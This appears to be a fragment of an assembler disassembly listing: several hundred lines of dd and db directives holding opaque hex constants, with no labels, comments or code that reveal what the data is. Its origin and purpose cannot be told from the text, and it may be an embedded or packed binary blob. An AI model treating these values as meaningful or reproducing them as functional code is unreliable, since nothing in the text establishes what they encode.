dd 0D290DFh, 0EBA47D1Bh, 0B6277169h, 0F9F43D00h, 13C89422h
dd 58CB00D3h, 0FCC975A5h, 0CA03208Ch, 520FBD53h, 809EAA68h
dd 0DB472492h, 4CD000DFh, 0B255AAE8h, 6402D489h, 68C6EF45h
dd 0D1006704h, 0A8220D6Ah, 0F894A901h, 50BF03D6h, 46D337B4h
dd 0BCB27F00h, 0D094A531h, 3B20FFC8h, 91F400BAh, 0F1744790h
dd 1800A2B1h, 48547C70h, 62FE76h, 285EA4C9h, 400A91F3h
dd 95779700h, 2DCB0461h, 3DF818h, 31774D6h, 894145E6h
dd 4F863B01h, 9DBBD26h, 0E94E80D7h, 2D2F0095h, 37292C77h
dd 0DBB0E8C8h
dd 0C11C9DFEh, 0CF002832h, 6D73B330h, 2DE421h, 0ED44567Ch
dd 0E69BA60Dh, 0BFBC5003h, 984E5C9Ch, 9DEB31h, 97C360B9h
dd 4906BB76h, 7B032800h, 6933A53Eh, 0ADCC0087h, 0C737D61h
dd 0E602DE91h, 3CD7126Fh, 0F5CC802Bh, 6EDEABFh, 604EC3DCh
dd 0E800B861h, 3892A7B1h, 3B442794h, 451E80E4h, 3756C0E3h
dd 20888A79h, 0E7F2F00h, 8361783Dh, 39CB3431h, 71CC0292h
dd 3D108D35h, 7EAF03EDh, 2FEC7B49h, 0FE78B9A8h, 84453B39h
dd 0AA7A169Ah, 23C09980h, 0A39C0058h, 0F4B036DFh, 0ED00B6DEh
dd 0AD5278FCh, 359677Eh, 0C7336F2Bh, 0C8002869h, 1F9F16E2h
dd 12CCA2C4h, 5E47DA2Eh, 0D0BC8000h, 5B976461h, 38CDAB00h
dd 8FBB039Ah, 0CC714CB0h, 57A21E00h, 0C50B1B7Fh, 0F3D16502h
dd 500913CFh, 0E51E0024h, 2345CD2Fh, 0B400A221h, 0B62BE2BCh
dd 943ED410h, 0F2580048h, 0D7943D7Ah, 6D3BCF00h, 0BC2AA085h
dd 79C10703h, 0B0637E31h, 0BD026646h, 36384276h, 0E0D800B7h
dd 0C9059E1Ah, 0C1CD0080h, 60CB4D43h, 0C004F670h, 0F07A8433h
dd 0C4191883h, 37184B40h, 0BC2647C3h, 0B4001C15h, 0C8DF2B6Dh
dd 0A4950E3Fh, 986F9D56h, 4D59B80h, 3C038028h, 49DB32B5h
dd 835000F9h, 10C21AE3h, 0D300B4A7h, 0F181B3D1h, 4C9B29C8h
dd 0ED3ED035h, 56E5EB03h, 0BCF83C92h, 7303A3B0h, 803D4B75h
dd 0FC6D90F4h, 265A0EA1h, 6F6FAF0Ah, 59DDEDFh, 80838FD0h
dd 2FDB4088h, 0AFB28200h, 5FECD9BFh, 3919004Bh, 0A6B3D317h
dd 0EE021BCFh, 596F85A3h, 0ADE4C0EDh, 1C9F820h, 89C14BEBh
dd 0D46B8B7Dh, 64004C4Ah, 0D0910BC7h, 586EB3Ch, 0F409D4EAh
dd 399C003Fh, 0F8052B98h, 8E9B4B3Ch, 0EAC08h, 933BBF62h
dd 28EB1Bh, 847A23EFh, 0B10C2E9Ah, 8180BF2Ch, 0A2B02761h
dd 0E863D5EAh, 8FC2B500h, 703414CDh, 92E2491Dh, 46902500h
dd 0E5BD9F0h, 0D1A26C19h, 8080E7C4h, 0E1EEBC60h, 52D52912h
dd 0F5455800h, 5944EDFh, 6E4199A9h, 147BC0E9h, 6C00D046h
dd 650732E8h, 4BB9150Ah, 971C5F72h, 0CCED0039h, 0CBA43181h
dd 80DBE33Ah, 286EAA98h, 98F5F24Ch, 237700A0h, 0D9ACE04Eh
dd 8090FF3Dh, 8900A0E8h, 1161EE34h, 0B37C95h, 0A84ED104h
dd 6ECBEDDh, 8A2F1612h, 6B1C7400h, 454A321h, 0A0079FD4h
dd 4870A058h, 5C7EC778h, 0FC95C018h, 4B1B70h, 35A4E484h
dd 45C97D65h, 0B168D600h, 96CBBEB4h, 24A7037Fh, 0CE8BF7E3h
dd 0A07C9000h, 11057BC3h, 3AB70034h, 40A1254Ah, 7830BF04h
dd 62107116h, 0BDC900EDh, 0A7ADB480h, 0FB008109h, 59C62065h
dd 0FF7A1A4h, 6813166Fh, 76DEA000h, 27E88BD6h, 8047BC3Bh
dd 888F4ECh, 2ECAEBCCh, 40F4BDD5h, 0FE2E64D9h, 0E15C5700h
dd 778922EDh, 0DCD20629h, 0E0E22651h, 7BA73F00h, 82A2BFEh
dd 917A55h, 7273D774h, 3A1AF07Ch, 0ACB23B03h, 0F093F2DEh
dd 5F2DF7h, 503818Ch, 1CDDB8FFh, 320C3500h, 0F1C794A3h
dd 8EFA01B2h, 0A475E248h, 6B1BFC58h, 47042A77h, 4C9B7CF3h
dd 0AB018083h, 0B4A1F061h, 859700DDh, 74434683h, 9303B90Ch
dd 414990F1h, 0A85DABEDh, 0CDFA61h, 53D6FF70h, 0C562095Ah
dd 0E209900h, 0E1FC073Ch, 0DDF0817Bh, 2EA6FC3Bh, 4FBC2C02h
dd 48D9ABE7h, 73ACE184h, 0D302487h, 9D342424h, 0DF37896Dh
dd 0BE54FA81h, 71126039h, 9AE81200h, 603A52A2h, 36CF0077h
dd 0B044A962h, 1C99197Ah, 6D8C2E89h, 8AD742B0h, 1E50701Ah
dd 12F13090h, 49A8C036h, 0DC0C97FCh, 280309E8h, 0F777C7h
dd 0F92E2114h, 45D4532Ah, 782C5502h, 600840A2h, 0BF9618h
dd 0C30DF9DEh, 7E1FAA8Dh, 5F310A00h, 25BDA476h, 0ABEA18h
dd 79C0FF98h, 0C7F936C8h, 670648h, 338312DCh, 38D408Eh
dd 5638DFF4h, 82DB150Ch, 9536BF8h, 0F3902000h, 52B4B0A6h
dd 0EC3B1CB6h, 0FC0AC0B1h, 26D614D7h, 53E0130Fh, 0E3AF20F1h
dd 9EC0F22h, 60FFF584h, 9CAA9802h, 0E66D3C60h
db 0, 8Fh, 0CFh
db 0E9h
dd 54B83BB4h, 5F6A00EFh, 16A838DDh, 0EB3B55E2h, 7AAF006Ch
dd 17F0C21h, 3F850048h, 8C829110h, 130734DFh, 0C35F4546h
dd 0D48F66B0h, 53EC0041h, 0C9422773h, 7F00020Fh, 54B73E87h
dd 90701C5Dh, 269600A5h, 0DD18E85Fh, 0E31EB610h, 0F64017FCh
dd 985AADE1h, 0B1E4EFh, 3F93B463h, 4183736Eh, 0CEB5B300h
dd 0A410605Fh, 0E5F80094h, 2E8413E7h, 8F00F3A3h, 436E7EB7h
dd 9F8370h, 61C450Fh, 0F25AFC11h, 0EA23A200h, 42058703h
dd 5DDB00EBh, 0B44FDF4Bh, 0C100D0C9h, 0F80E47CAh, 81ACB8h
dd 643868CDh, 798A027Bh, 2446860Ch, 22FC2920h, 70B0EAB9h
dd 0E4E8D700h, 658BB31Dh, 8D64005Ah, 38EE1A3Ah, 0D8A03C8Eh
dd 8C1F3005h, 2C40DD40h, 7EDFAF1Eh, 86E239h, 7A65A4FDh
dd 40E21275h, 6D4CF402h, 0ACC87B74h, 0F2D510E4h, 18B00DFh
dd 810B5EF6h, 4400160Eh, 15EB63D6h, 0B1E985h, 36F3C96h
dd 0A5184392h, 0C99F2B04h, 1C906B48h, 74C8370Dh, 65640C75h
dd 13A19206h, 38E85C01h, 2F71908Ah, 41780880h, 95E2AF1Fh
dd 0D935D00h, 82BCC467h, 468B0110h, 0B01DB629h, 200840AAh
dd 2860CEAEh, 0A4C9A988h, 0C83F0213h, 7A8C59C4h, 0E417C07Dh
dd 6F273E19h, 0FF130077h, 90ABDCE9h, 0B6182F7Dh, 0E1C9E830h
dd 0EC08C3C5h, 98049238h, 0D4D310CFh, 4C9B00EFh, 4F7FB107h
dd 0A95E2A1Eh, 3F908EF9h, 0FCB600A1h, 3C89755Ch, 0BA92A54Dh
dd 30FABF0h, 7CE3A755h, 0ADDEF410h, 3E0EC09h, 0A3F368EFh
dd 5DC88E5Ah, 4801738Bh, 5F3D9A41h, 0C0CF33E0h, 0E029AE43h
dd 31980060h, 5185B891h, 8801D969h, 0EEEB018Ch, 9BCC5F07h
dd 671501ABh, 99CFE057h, 57D2087h, 6E969201h, 2F64B994h
dd 0E2D85BD1h, 649001Eh, 517F8986h, 9D15CD67h, 84E354h
dd 3B0BC982h, 60E148ABh, 0F7301C80h, 14077D0Ah, 4787F8BBh
dd 3CB038A3h, 6307C530h, 0FE26FCDCh, 58A0420Fh, 1C777293h
dd 8232805h, 0EFBA381h, 2005586h, 306E527Bh, 73D2F813h
dd 0B230D418h, 0FE67596h, 0DB88EC5Eh, 0E9AAC463h, 0C25015B0h
dd 0A59C8700h, 332D016Ah, 167A004Ah, 0D636066Eh, 97054C20h
dd 0CB613B77h, 0C400E45Fh, 0B9C5ADA8h, 474E8B1h, 0CE15A6D0h
dd 6F449084h, 6201F3FFh, 7E312B11h, 0C97025EAh, 174900DDh
dd 7D2871A5h, 0B700EFC5h, 0BCBD36F1h, 4AA5CE6h, 97C483BFh
dd 0A8488BEh, 6D193F03h, 3FA8CE22h, 0F700B861h, 0C82AC0CAh
dd 2800A215h, 63D0D576h, 38BEF365h, 970AD326h, 94A83445h
dd 416087E3h, 3BAC1930h, 10742D30h, 3E40596h, 0B09163B7h
dd 82FB3CD2h, 6EEC3900h, 57A41786h, 34580008h, 0AA02870Ch
dd 0B10978D1h, 7F277B82h, 627EB580h, 46788139h, 434DDA00h
dd 181190E1h, 0CDAD0014h, 172701A5h, 7C035186h, 358CA7F6h
dd 0E21129E0h, 60DDF004h, 43107860h, 656154h, 3EC822CAh
dd 635203BEh, 0D40C7FECh, 200BB259h, 6EBC00EBh, 1E9609A1h
dd 4000279Dh, 92F54894h, 2DA587h, 0EC2F7B42h, 55CEAA2Bh
dd 8106B400h, 886A19Bh, 0CB5A00EAh, 5E5DAF0Bh, 6D0046F1h
dd 0E2F2A4Ch, 6E7462h, 0B5DA9807h, 107B228Eh, 3000EDFAh
dd 25963F79h, 313C0Dh, 0DD92E063h, 0DC0B626Ch, 0B0002FF0h
dd 0CC7B9DD7h, 18D909Fh, 7751273Ch, 47501262h, 7B000FF5h
dd 5D7656Eh, 0BE4D983Dh, 97EF80C3h, 0FA1A543Ah, 0B2FC3Eh
dd 8F4FE65Ch, 9F8B65E0h, 37C8BC00h, 1B6E9ADBh, 0A38D07E4h
dd 90B37064h, 9D0C395Dh, 3928C13Ah, 254B9C29h, 0FCF3C880h
dd 1DC7707h, 0FE6D2CE3h, 0F0C62A8Bh, 1107E145h, 0C582B958h
dd 0B7C05FF0h, 2B78C9h, 930860Fh, 5D15BB87h, 0A48B6B00h
dd 803C37A0h, 60E2ECA7h, 0DA0A6038h, 0CF00D928h, 157164A5h
dd 8421CB7h, 17571A1Bh, 87C06E1Ch, 29880C2Bh, 799A0060h
dd 0B1B3CC9Eh, 150030B4h, 9697D20Eh, 32E09Ch, 766D2623h
dd 898B6A2Ah, 485C3B00h, 27CAA29Bh, 0C045000Ch, 0F5476420h
dd 0DE0F78D6h, 80605925h, 0B513CD4Dh, 50B91E68h, 848C001Ch
dd 4831F942h, 467C6F13h, 3D57A200h, 876C49h, 9F4FCD5Bh
dd 512A6304h, 5939D03h, 9081D18Ah, 4C55B3A2h, 0C0060E4h
dd 0A76ABB48h, 1B794DF2h, 40143001h, 0C08DB0C4h, 7113DE0h
dd 94B3C172h, 0E4F270F5h, 8000872Fh, 299E774Ah, 2A1A6AE8h
dd 8CB864h, 0D2C867Bh, 0DB593A83h, 0F322F0Dh, 0ACC8A0DEh
dd 0FD761C38h, 2A1CC0A6h, 0BFEAD672h, 23E30A00h, 558F88B0h
dd 0BA1600D7h, 0B90DD12Dh, 4F18F7A1h, 18606E21h, 0B27A4C1Dh
dd 0F066AA03h, 0D180B779h, 2C009952h, 8EEB9709h, 0FA6DC329h
dd 0B77009Fh, 49A27FF9h, 300832Dh, 32AC89A6h, 0F756F2h
dd 391BFFE6h, 0B5A10A34h, 57D74B0Fh, 6838A0FEh, 4B0C848h
dd 0A72C6944h, 863884AFh, 5858888Fh, 2B3309E0h, 5E282006h
dd 0E8CA2A8h, 83E51C89h, 0C08493E5h, 0BB1DF0CAh, 0D649F207h
dd 0D8407059h, 509DABA6h, 35C4A1h, 0EA4C8B30h, 93D2D1C8h
dd 62FD4Ch, 0C9532999h, 0CC537E3h, 6128F69Bh, 0A50FDE82h
dd 8065728Eh, 0B18266ADh, 1D7D5Fh, 0FD115657h, 5358D22Dh
dd 0B960D000h, 0B2B3EDBCh, 92A20090h, 4FD627C6h, 3B001482h
dd 0AF35F306h, 0D75F8Fh, 0A5EBE0A9h, 85CFAB2h, 0C9C63Ch
dd 7C374569h, 0AEF798h, 70979233h, 0A96D6096h, 89428B05h
dd 8C0569B7h, 84AB4FEAh, 8507C3AEh, 7608A800h, 0E1100EBDh
dd 65230049h, 0A6F511E6h, 823CF7B5h, 975883CDh, 0D8E328A1h
dd 487DC4h, 62D432DCh, 8BB9A7ABh, 13F7AA00h, 58870F34h
dd 0FC2C001Eh, 0BE47295Dh, 5F77BFA2h, 0FB016A90h, 32A67267h
dd 0C040E23Fh, 60D7F4h, 24587DEh, 17621BF9h, 0B9B03160h
dd 99BBDDh, 6997A388h, 0A068F79Fh, 52B5151Eh, 0A077288Eh
dd 82922E4Ah, 6B490058h, 90215E71h, 0FF481E2Dh, 0FD0B0000h
dd 0C1A850F9h, 939C00BAh, 0A9B6FAFBh, 0D915A3F6h, 10902AC3h
dd 509D42F3h, 7C90263Bh, 12357884h, 0B500BF50h, 6BED1CABh
dd 5F00F7B7h, 5DD17246h, 0B0071369h, 186C05BDh, 3BDD3Dh
dd 0EB26A4ECh, 23032D9Dh, 3ABDFB52h, 59B80048h, 81BAE34Eh
dd 0C10CD9FEh, 584C6CDCh, 0F4190040h, 1A09A56Fh, 730452A7h
dd 152E5C68h, 0D180DAC0h, 8E16003Bh, 0E884EECEh, 0F30022C3h
dd 0FBE9611h, 0B270517h, 0C49F9304h, 6D6AEA00h, 65019499h
dd 0ED48268Eh, 0D4CCD3C3h, 310C00D0h, 375BF2C6h, 0FF0F46FEh
dd 4001D1F5h, 388DCEF0h, 2228000Eh, 0FC3E9311h, 871EB144h
dd 9C8017C4h, 18464A78h, 45C1006Ch, 0CEF9A6D2h, 0FF240FD7h
dd 0D1827C63h, 0E34270B6h, 814C875h, 66D800EFh, 4CE4B288h
dd 8E3D95B0h, 0E73F75C1h, 4ADC804Fh, 2185E526h, 8A3900F6h
dd 0ECAC6BBEh, 7616A4B9h, 0AA492423h, 40443017h, 87F43EE5h
dd 250324C9h, 0DF7BCA85h, 0E275FF0h, 0C2E75B04h, 54802D80h
dd 0FCC6609h, 7D16FC59h, 0ED46ACE0h, 0F8011939h, 2157F08Bh
dd 0F4C88026h, 3097019Fh, 0A337CE3Fh, 0A96E0014h, 40B84D98h
dd 0B168B400h, 0ACC2E801h, 0F5302016h, 7D548003h, 3ED3C1F4h
dd 0DD3C28BCh, 2D7E5100h, 86D5AEC2h, 0C5A89700h, 3C7F631Eh
dd 11BB0F76h, 85A07D61h, 6C133D8Dh, 0AEB3EC03h, 0C171EBh
dd 6473E130h, 0B1775461h, 7CB02B28h, 8CF4410Fh, 0AC131D3Ch
dd 4966D440h, 0C059C0B1h, 8FA81710h, 0AF007538h, 0AC4DEF95h
dd 5F4DC92h, 970C544Bh
dd 3A6C0FEAh, 102114C2h, 0CE05906h, 6C782BAEh, 0C0006171h
dd 826EBF25h, 0B169ECh, 609FCFFFh, 9B9EF0Dh, 0E0520700h
dd 3473D26Fh, 66238D3h, 0A09EDE00h, 2E893970h, 0A781091Dh
dd 7E56840h, 3B838D59h, 3D809030h, 2805B32Fh, 0EC0C55FAh
dd 0D97DE0DCh, 68ED43E6h, 8A5F0490h, 80A42361h, 0D556E160h
dd 8E00A312h, 0F4580F55h, 0AA2D92Bh, 249461D3h, 0F5600384h
dd 2848D474h, 3328672Fh, 7D24CB80h, 2DED0125h, 26D13A1Bh
dd 0C0F2C97Fh, 0D707721Ah, 4875E778h, 3B9F0AF0h, 209C019h
dd 113E9E0Bh, 1C5D0802h, 0F716EA0Dh, 404937E0h, 0D87BDE05h
dd 0BC855E2Dh, 99F16883h, 27209E42h, 0A35000F2h, 80472E0Ch
dd 0ED003743h, 9EFD285h, 6A6B06h, 75998CC8h, 542D0507h
dd 0C7F01F4Bh, 0B772B5h, 0DB6425A8h, 40A3C59h, 0A0E2C513h
dd 617BF400h, 2C2CF83h, 0CDAEA53Ah, 9C806FB5h, 0F131B426h
dd 0C0A6D00h, 3A407432h, 2598A09Eh, 5E717A3h, 271C0073h
dd 12C68315h, 0E553B703h, 482134h, 1DA03328h, 0A74AD823h
dd 9F1F6E00h, 7E43760Ah, 0FCAE0E05h, 0C7EEFB22h, 33E3D3C0h
dd 980B0370h, 807158D1h, 0E9BFF51Fh, 27B70717h, 300EF830h
dd 0EE29186Bh, 7568FB0Fh, 5C6380A6h, 1EE984B7h, 1EF6A92h
dd 9DDD0CF0h, 8DFC40ADh, 0AB079E10h, 4DB8726Fh, 0B1A47A80h
dd 0D1433A69h, 0A2134089h, 0F6E1DE83h, 0DDC6ABB0h, 4CD33800h
dd 0C2B05EFAh, 79602FE4h, 2E112240h, 84B6223Dh, 6EE65F76h
dd 41FAD0C8h, 56168047h, 0A2B8D26h, 84BF0055h, 0D2CAC8C9h
dd 0C40E6E9Ah, 0A043B5A2h, 532E370Fh, 0A90300D8h, 3E996B71h
dd 860FA405h, 0C98881F5h, 0C7A300D5h, 7E527Fh, 37DBB126h
dd 84A55B09h, 7C98C001h, 0AA459425h, 0FB6F0A8h, 5A370671h
dd 0D20008EFh, 4B31AD57h, 984CB900h, 41EF9A7Ah, 0E2E0739h
dd 2A5E63h, 1132765Bh, 0B0684Ch, 37486108h, 6196A088h
dd 9A3EF01Dh, 0BA48602Eh, 0D628000h, 4CB54851h, 0AC530015h
dd 9EFA3BC5h, 35007237h, 391E2C31h, 0E24F20h, 71C3B8EBh
dd 0FC12AF82h, 9193CE13h, 0A540831Ch, 0CABFED1Bh, 30630060h
dd 0C09F5FB6h, 3170D420h, 0E2006D90h, 0BDF338BFh, 9444EDh
dd 523F88C3h, 242B7E7h, 44199E2Eh, 5A04F1Ch, 5CD44BB6h
dd 2C1C803Dh, 0B40782FFh, 67859542h, 2724A550h, 0EA90010Ch
dd 7BAC7DE8h, 1AD0D8E3h, 45977900h, 0E6729E41h, 0F0953B26h
dd 3A0EA8C8h, 8FA166C6h, 70621C1Eh, 6700E20Eh, 0F0850110h
dd 13B2C636h, 542FF666h, 8A000440h, 0EA9AA6E9h, 0C500FA5Ch
dd 5DBF1592h, 3ECE699Dh, 1701B8A7h, 4FBC2125h, 0BBA8F7A6h
dd 0FEF88DC2h, 513BF712h, 8EC1D81Ch, 4AA016Bh, 6E5F9300h
dd 260F80h, 0C536513Dh, 0BD123244h, 6ACB282Eh, 80A74900h
dd 9FDF7E4h, 8B6B50E1h, 0F6A0178Fh, 0CBCC9F8Eh, 9200D094h
dd 8669018h, 2893BC0h, 6A27EB00h, 0C64231F1h, 1AF20300h
dd 11FFD12h, 4BD8027Fh, 0B53D8875h, 0C39FE60h, 473A0978h
dd 5900F75Eh, 36256F5Ch, 4116B9h, 0F0DC863h, 0A547CF33h
dd 4B6C581Eh, 0C213C187h, 3861D660h, 0C59E003Fh, 1C69C69Ch
dd 0A800AB59h, 75652EDEh, 61FB7h, 782505FCh, 3281EAA9h
dd 0AAC58800h, 0D53EFE9h, 0A5BB0767h, 818E9838h, 205BA1FAh
dd 548398Ch, 6F430FF4h, 7F137ED4h, 6C3DC800h, 0E3C980Dh
dd 94530607h, 0B75FFA20h, 7C2EDE6Bh, 0A5006297h, 19D196Ch
dd 0A38C028Dh, 20725431h, 0BB9A8C40h, 28004BF6h, 0FEA55396h
dd 0E641391Bh, 4D2C000Ch, 716B4EF9h, 600A418h, 0AB8D8194h
dd 92A65Ch, 0E291AA9h, 3AF2E52Bh, 4634CD00h, 0CE45268Fh
dd 0EC0490BDh, 8C7A3Eh, 50E71B57h, 3C1FA1E3h, 0A2DB9D04h
dd 0E8C0AE76h, 299651h, 19BEBF9h, 0D33BE44h, 783DA901h
dd 0B23E3757h, 0FBD847F5h, 0DE7979h, 34BB62EEh, 911EDDC2h
dd 0AA63E0Ah, 89879869h, 15007E0Ch, 0FC6BC5h, 90DF9194h
dd 0BCA5F1ECh, 0E94BED00h, 0E78A21BFh, 0C57BA4h, 799D4DEAh
dd 96D0901Ch, 13901B7Bh, 2694F800h, 0EEB0DB76h, 7170ABh
dd 0E72F5384h, 0C646BF79h, 0FF161EE0h, 5C008D67h, 6DE537EFh
dd 1C79F8h, 0B86CB0A1h, 775E0F2Ah, 8FB2F300h, 6F05ADA3h
dd 0EAEF7C06h, 283600A1h, 2A7EF4E5h, 5102DFF3h, 1787347Ah
dd 43FC40D7h, 0E260000Fh, 25271884h, 5C074F7Eh, 50215BDh
dd 103380B9h, 0EBC92Ch, 0F6D2ABFBh, 0C54F2F04h, 0D00E892h
dd 9C447985h, 7244867h, 0EB01A715h, 90CE87B5h, 60D632DFh
dd 0CDB37401h, 3D31D94Ah, 863770h, 563BEAADh, 0A1E9751Ah
dd 250CB800h, 0B51EE865h, 88C0F9Eh, 0D66160CCh, 71031869h
dd 439BE3DCh, 39E81120h, 1050F06Eh, 74823887h, 54AEEF04h
dd 0D093857Bh, 0BCBA450Ch, 0AD3C8D12h, 0C5607C90h, 2845E9F9h
dd 6BD15400h, 4AE48CA4h, 0E283AE2h, 0DFF3B353h, 0EBF231Eh
dd 23E33115h, 1649E93h, 11ADBA90h, 6059F0FBh, 0A005C68h
dd 21A32BF7h, 9C8395h, 74AD9EF1h, 0A5C78270h, 0D59BA600h
dd 3C522599h, 0AB7D0095h, 96627548h, 0E3003A72h, 0CBBDB5E1h
dd 0DB4B86h, 0D780EE12h, 4228D25Ch, 0D82CF9ECh, 8B0779BBh
dd 78D0D0B3h, 34C5DDEh, 600C054Eh, 0DFC3F965h, 0EEA3FBA0h
dd 0C9077700h, 93E45A14h, 83B80069h, 4276253Eh, 0B200A109h
dd 7BF6F46Ah, 1E20681h, 944375A2h, 206FD319h, 1E0015ABh
dd 0BB90140Dh, 3EA05429h, 0F1009860h, 9D873B44h, 0D209123Fh
dd 48E033BCh, 3DDEB8ECh, 4001B1A2h, 0F8DB14CDh, 80B3D1C2h
dd 0A2466121h, 138FA61Bh, 0DD1785h, 0AB5A333h, 2E07F960h
dd 0AFBDD65Bh, 5811E760h, 8269342Fh, 99D84022h, 54664D88h
dd 0ACED9D03h, 0A3F42D3Ch, 13210008h, 825C4D30h, 5E359301h
dd 0A0D0A8E9h, 9AC2083h, 47D39D9Ah, 20E79E06h, 6F30597Dh
dd 11E418F7h, 62712448h, 0B0CE8790h, 0D444B2EDh, 0CDE9E540h
dd 21D708CCh, 0EC881F2Eh, 150600B7h, 0C73EAE2h, 907A3700h
dd 0B22363C4h, 6EC60535h, 229B0343h, 0E430F99Ch, 33AF11A2h
dd 80A58850h, 32A24C1Bh, 9D00C45Dh, 82DB7941h, 51B31E75h
dd 94039826h, 386FC111h, 0A892108Bh, 0B2EFCA00h, 0B7006283h
dd 2A9E4522h, 1FE14EB3h, 0C0095F57h, 528DEBF4h, 0AE0C85Dh
dd 0E194D8F1h, 50A9CE00h, 0EDE729B7h, 161A006Ah, 3DBAAAECh
dd 68009FFEh, 256C8B3Fh, 37531ABh, 60AF81E6h, 0BB982332h
dd 0D63878A6h, 166883FEh, 0C89B3D47h, 142C58F8h, 0B3BF2BE9h
dd 0C28A6F03h, 2EE0F91Fh, 0DA18B47Bh, 4B287673h, 5EF700E8h
dd 0C4BEFA9Dh, 72078744h, 0F56B77EAh, 0F43E7BC0h, 31070C14h
dd 0BE115C8Fh, 1A7CF307h, 0C033A6F1h, 3008CED9h, 95207AA8h
dd 0B2067B48h, 0E15DBAF1h, 4944C149h, 0F08A9379h, 7600AF66h
dd 0EB8D1DCh, 197D4816h, 0A8192F2Ah, 0C3A5254Dh, 5B5E5007h
dd 2C0088DFh, 1D5AA012h, 18A3FA84h, 37BA210Fh, 29A78803h
dd 3CADE4D1h, 91608CF8h, 4BE8C69Bh, 9A228700h, 82D366C2h
dd 5FA006D5h, 0CA84817h, 0CCE87612h, 10B05118h, 0DFBF0091h
dd 1CA782D2h, 7000AC6Bh, 90F9E168h, 7F0137F3h, 4FF11A5Eh
dd 894070B2h, 0C10F8AC9h, 0E4EE20A0h, 0C580AB86h, 826231h
dd 96FF3DB3h, 0C05978BBh, 0B675E600h, 74F5165Eh, 97C23BCFh
dd 55E8A800h, 0EB38D595h, 0B8F2B706h, 0E838072Dh, 7F6E37FFh
dd 0D9C98008h, 8E014D19h
dd 0FB4CC57Eh, 82DCFDEFh, 615D0007h, 9E2EF37Ch, 0FA3CAB26h
dd 634E8092h, 430E108Eh, 105F8A8h, 960A2B99h, 0EC06ED38h
dd 70C03F87h, 48C7FCFFh, 5A56014Dh, 0C6E1C18Ch, 3539CC92h
dd 5EFDAB00h, 52125DFh, 0DCC8004Eh, 2DB01964h, 3F003332h
dd 0FC41A0CDh, 60C99Dh, 398D305Eh, 1ED556ABh, 0A70087E8h
dd 0CD86B78h, 633D2C4Eh, 9BBF4063h, 0BCD01928h, 0C9916033h
dd 0E8FDB30Dh, 3FDE6147h, 4E0110B0h, 0F53BA032h, 0FCC8C736h
dd 380F6923h, 0A03EDCD9h, 6E9AE765h, 0FC904FC6h, 0ECEF1EC5h
dd 75452141h, 318CE6A2h, 0E5088EE4h, 79547600h, 8C9481B8h
dd 0F03B00D9h, 0B0062BDCh, 87055B5Ch, 1B168669h, 0C31081EEh
dd 0EF65C4C1h, 0DA91CD00h, 1C5B46FFh, 0A360EBA6h, 587461ABh
dd 8275D423h, 2AD69C4Ah, 322C0C0h, 0FAF9807h, 1B8B9FDDh
dd 91753F41h, 0C59980E9h, 40B337C9h, 2D6F004Dh, 0D9AE06C8h
dd 0E6F8B465h, 3E949506h, 131EC8Bh, 0B0AE64EAh, 60420940h
dd 0AA5808B4h, 41330068h, 7281CE14h, 766C0E26h, 0EB605943h
dd 16EE7FEAh, 0E6FDC300h, 0D5B37750h, 0EFBB03D3h, 93C494DAh
dd 6CF8C060h, 2A992E10h, 98EAE4h, 91F82609h, 162D6631h
dd 0BA7341Bh, 27F6D031h, 0CAFF00D6h, 297067D4h, 0EE031AAEh
dd 62A1A4DAh, 16F88895h, 0ED9307F4h, 6B7A617Ch, 0E880BD54h
dd 14175205h, 880D1A32h, 41610EBh, 85B2D518h, 0EA3B6310h
dd 0ED7D00E6h, 8DA34D2Eh, 6F00B9D7h, 9CF82BACh, 1F3D955h
dd 7E83E8CDh, 0E819E9A9h, 690047B9h, 820E0C6Eh, 251C0ECh
dd 1B536D18h, 0B8C00B29h, 0BD013190h, 45A895E3h, 0E9E8B5DAh
dd 70AE036Fh, 0A53FB34Eh, 0DE42A3B8h, 8D028000h, 57A769A4h
dd 0CEEF0040h, 1BD413C5h, 230092BCh, 5607FEC9h, 868CA8h
dd 42D8C4E9h, 0F0C0CC45h, 0A610C307h, 5F8051FBh, 1D7CB06h
dd 0F8EF4248h, 0C4D4DDABh, 5D002FF4h, 0B1534A0Eh, 0A9C78Dh
dd 670DC324h, 6B19D74Dh, 5528FF00h, 0B3134C34h, 31FA02CDh
dd 4A42351Ch, 85904543h, 0E50073BBh, 30458707h, 848DF9h
dd 14B657CCh, 1FB488CFh, 25312C02h, 809140E7h, 57074CB4h
dd 0A84603ABh, 6ABDB36Fh, 8DE2C788h, 0CD0F177Bh, 60144B88h
dd 0F4AA3AF5h, 3D6FE77h, 5A4EF3F8h, 50970456h, 0DEAF291Eh
dd 2A69E24Ch, 3F00E840h, 6A6CABC4h, 78CC797h, 50568303h
dd 58DD3081h, 0AE001432h, 0A5B73940h, 779E85A0h, 1A080030h
dd 7919ED5Fh, 11015427h, 0CD5181Bh, 0FF603F50h, 0BE7400FAh
dd 78BABC44h, 0C80039F1h, 0AEBDA4CCh, 3F91716Bh, 708143D1h
dd 0E0849F69h, 70D7EDDBh, 8F00EC0Bh, 9C37C008h, 12D1B8h
dd 9E276460h, 9488483Ah, 0C0872132h, 9728A059h, 1C70A826h
dd 8EC67D39h, 0F5208C04h, 8569965Ah, 0E9000872h, 0A41A9BBAh
dd 40A9A7h, 44049E2Ch, 50F98EABh, 600617FEh, 6315CF05h
dd 3F1D0070h, 1A1C782h, 3075F526h, 2F66A00Fh, 270DA1B8h
dd 9024B321h, 0D113002Ch, 0A6209A1Eh, 6F1E807Bh, 6267D97h
dd 5E69A100h, 7755C44h, 2720CBA3h, 90A8F7AAh, 1C3A92C5h
dd 9D3D1600h, 22AC8C08h, 0F50300E0h, 0C8FDFF2Fh, 18011C05h
dd 0E8EC8453h, 0D8F34FF0h, 79AFE78h, 0DDA1C3BEh, 45A3C05Dh
dd 0D100941Ch, 0F1727DABh, 0BD4055h, 8E6F7BF9h, 384CF29Ch
dd 318F448h, 53207489h, 0B677A0ADh, 42D5288Ch, 0E0600F8h
dd 83CF5C7Bh, 7430270Ch, 1C25E9A4h, 117A7Fh, 7571BDBEh
dd 0F50973C3h, 0A5F28400h, 5FB912AEh, 0A444004Bh, 0B0EF4762h
dd 58C0DA54h, 1EA5070h, 0DFCD00F0h, 0C0DEA336h, 5F48C4B1h
dd 46EB006Eh, 0F62F19EFh, 0D0E000B5h, 0A41D22A0h, 1200E329h
dd 9E4F85A6h, 0B3BAB0h, 5CE7B7F2h, 0D77E65DBh, 0FA2D6203h
dd 57A308h, 9ECCDE34h, 0F5ADB7B2h, 0F18F9A12h, 88D2AC00h
dd 0FCDFE549h, 0D91E005Eh, 84087A4Eh, 0C0008992h, 0FC9CABDCh
